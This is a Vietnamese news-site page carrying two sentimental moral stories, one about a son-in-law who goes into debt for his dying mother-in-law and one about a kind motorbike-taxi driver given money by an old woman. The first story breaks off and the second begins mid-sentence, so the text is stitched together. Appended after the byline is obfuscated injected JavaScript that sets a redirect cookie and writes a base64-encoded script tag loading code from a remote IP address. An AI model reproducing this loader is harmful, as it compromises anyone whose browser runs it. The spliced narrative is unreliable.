Con rể vay gần 2 tỷ chữa bệnh cho mẹ vợ nhưng khi qua đời bà chỉ để lại 1 tờ 500 ngàn, 2 ngày sau đám tang có người đề nghị mua lại tờ 500 ngàn đó với giá không ngờ

Cưới nhau mới được 2 năm thì vợ qua đời, đúng lúc đó thì mẹ vợ lại ngã bệnh phải nhập viện, 1 phần do bà đã bị khối u từ lâu, phần nữa do quá đau đớn vì mất con gái nên bệnh tình càng trầm trọng. Vì thế, Minh quyết định đứng ra lo cho bà trong thời gian khó khăn này.

Vốn dĩ, mẹ vợ có 2 người con trai, nhưng họ đều là những đứa con bất hiếu, dù ở ngay cạnh nhà nhưng chỉ khi nào mẹ có gì cho thì họ mới chạy sang lấy, đến khi bà cần giúp đỡ hay ốm đau gì họ đều lấy lý do bận rộn công việc. Đặc biệt là 2 người con dâu luôn khinh thường mẹ chồng.

Thương cho hoàn cảnh mẹ vợ, Minh cưới vợ đem luôn cả mẹ vợ về nhà chăm sóc. Đến giờ bà nhập viện, tình hình sức khỏe vô cùng kém, anh thông báo cho 2 người con trai bà thì họ bơ đi coi như không biết.

Minh cũng biết vì họ sợ sẽ phải trả tiền viện phí, vậy nên đến cuối cùng anh phải tự mình đi vay mượn khắp nơi chữa trị cho mẹ. Suốt thời gian điều trị cho mẹ vợ, Minh không còn tiền phải cắm nhà để vay tiền ngân hàng. Đồng thời, cũng chỉ có mình anh chăm sóc mẹ vợ trong bệnh viện.

Ròng rã nửa năm trời, số tiền Minh vay nợ đã lên tới con số xấp xỉ 2 tỷ đồng. Đồng lương công nhân bèo bọt của anh chỉ đủ để trả lãi ngân hàng.

Mẹ vợ nhiều lần cảm giác ngại ngùng với con rể nên nói rằng:

-Cứ để mặc mẹ, già rồi chết cũng chẳng sao, con cứ lo bản thân mình trước đi.

Nhưng Minh lắc đầu:

-Trước khi qua đời vợ con đã căn dặn con phải chăm lo cho mẹ, hơn nữa bao lâu nay con coi mẹ như mẹ ruột của mình rồi, làm sao có thể mặc kệ được cơ chứ.

Mẹ vợ nghe vậy chỉ biết bật khóc, không ngờ 1 người con rể khác máu tanh lòng còn có tình có nghĩa hơn những người con trai mà bà dứt ruột đẻ ra.

Một thời gian sau, mẹ vợ không cầm cự được nữa, bà trở nên rất yếu nên bắt Minh đưa về nhà. Lúc hấp hối, bà kéo tay Minh lại rồi lôi dưới gối lên 1 tờ 500 ngàn:

-Mẹ chỉ có cái này để lại cho con, con nhớ đừng tiêu nó vội.

Nói rồi bà trút hơi thở cuối cùng, còn Minh thì đau đớn tổ chức tang lễ cho mẹ vợ. Tới lúc đó 2 đứa con trai của bà mới xuất hiện, chúng đòi hết số tiền phúng viếng mà không để lại cho Minh đồng nào.




bà đi đâu đấy ạ.

Bà lão nhìn Tuấn:

-Bà đi thăm cháu trai, nó bị ốm.

Tuấn vội dựng xe xuống rồi nói với bà lão:

-Thế bà lên đây cháu đèo bà đi nhé. Trời nắng thế này bà đi bộ sao được, coi chừng cảm nắng đấy ạ.

Bà lão nhìn Tuấn ngơ ngác, thấy vậy Tuấn liền cười tươi:

-Cháu không lấy tiền của bà đâu, bà đừng lo.

Vừa nói Tuấn vừa đỡ bà lão lên xe, anh ân cần đội mũ cho bà lão và cười:

-Bà ôm chặt vào người cháu nhé.

Xe vừa chạy được 1 đoạn thì bà lão thắc mắc:

-Tại sao cậu lại giúp đỡ người lạ dễ dàng vậy, cậu không sợ à??

Tuấn cười hì hì:

-Sợ gì chứ bà, thấy người khó khăn thì mình nên giúp đỡ mà, cháu không nghĩ nhiều, cháu giúp được ai thì luôn sẵn sàng trong khả năng của mình.

Đúng lúc đó, bụng Tuấn reo lên òng ọc, bà lão cười:

-Chết, cậu đói à?? Chưa ăn cơm sao??

-Không sao đâu bà ơi, lát nữa chở bà đi xong cháu ăn tạm cái bánh mì cũng được mà.

Bà cụ ngạc nhiên:

-Chạy xe cả ngày mà ăn mỗi cái bánh mì thì chịu sao nổi?? Sức trai tráng thế này phải ăn nhiều vào mới có sức làm việc chứ.

Tuấn chợt trầm giọng:

(Ảnh minh họa)

-Cháu mồ côi bố từ nhỏ, ở quê chỉ còn mẹ gia đau ốm và đứa em trai đang tuổi ăn tuổi học. Bản thân cháu lại là đứa mù chữ nên lên thành phố làm việc rất khó. Vất vả lắm cháu mới xin được làm xe ôm ở đây, có đồng tiền nào cháu đều tích góp gửi về quê hết để mẹ uống thuốc và chi tiêu tiền sinh hoạt cho em trai nữa.

Bà lão chép miệng:

-Cậu đúng là người con hiếu thảo.

Tuấn chợt cười:

-Tự dưng cháu lại kể những chuyện này cho bà, cháu xin lỗi nhé. Nhưng từ lâu rồi cháu cũng không có ai tâm sự, chắc vì vậy nên mới kể lể. Bà thông cảm.

Bà lão vỗ vai Tuấn:

-Có gì đâu, cậu tốt bụng như vậy nhất định sẽ được báo đáp.

Trong lòng Tuấn rất vui vẻ vì nghe được những lời động viên của bà, nhưng trong thâm tâm anh biết rằng mình giúp đỡ người khác không phải vì mong chờ sự trả ơn.

Tới đoạn đường đó, bà lão kêu Tuấn dừng xe rồi nói:

-Trong ngõ kia là nhà con trai tôi rồi, cảm ơn cậu nhé.

-Không có gì đâu ạ, hay để cháu chở bà vào tận nhà??

Bà lão lắc đầu, Tuấn mỉm cười chào bà rồi quay đi. Không ngờ lúc tới quán ăn, Tuấn sờ túi áo lấy tiền thì giật bắn mình khi thấy trong đó có 1 thứ dày cộp rất lạ.

Anh vội mở ra xem thì suýt ngất khi đó là 1 cọc tiền dày khoảng 50 triệu được bọc trong túi bóng đen. Tuấn sững sờ nghĩ lại rồi lẩm bẩm:

-Có lẽ bà lão vừa nãy đã nhét tiền vào túi mình, có khi nào bà quên không.

Nghĩ vậy, anh chưa kịp ăn miếng bánh đã quay xe chạy lại chỗ cũ tìm bà lão, không ngờ thấy bà lão bước ra từ căn biệt thự to đùng trước mặt chứ không phải ngôi nhà trong ngõ như bà nói.

Anh vội đem cọc tiền trả lại thì bà xua tay:

-Đó là phần thưởng cho cháu, tiền đó con trai bà gửi cho bà tiêu, nhưng bà già rồi, dùng gì đến tiền mà cần nhiều thế. Cái bà cần là tình cảm của con cái..thì chúng nó lại không cho bà.

Bà lão vừa nói vừa cúi mặt rưng rưng:

-Vốn dĩ hôm nay bà định mang tới trả lại nhưng vợ chồng nó giàu lắm, số tiền đó chẳng có ý nghĩa gì nhưng đối với cháu thì khác. Cháu hãy cầm lấy đi.

Tuấn ngạc nhiên nhưng rồi anh vẫn cương quyết trả lại, còn bà lão thì bỗng nảy ra ý định:

-Thế này đi, từ nay cháu làm cháu nuôi của bà được không, coi như số tiền này bà cho cháu nuôi. Thỉnh thoảng tới nói chuyện với bà là được.

Tuấn vui vẻ gật đầu rồi ôm chầm lấy bà lão, từ đó anh coi bà như bà ruột của mình. Sau này làm ăn khấm khá nhờ số tiền 50 triệu đó, anh đã thay con trai bà phụng dưỡng bà tới cuối đời.

Bình An/ Theo Thể thao Xã hội #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.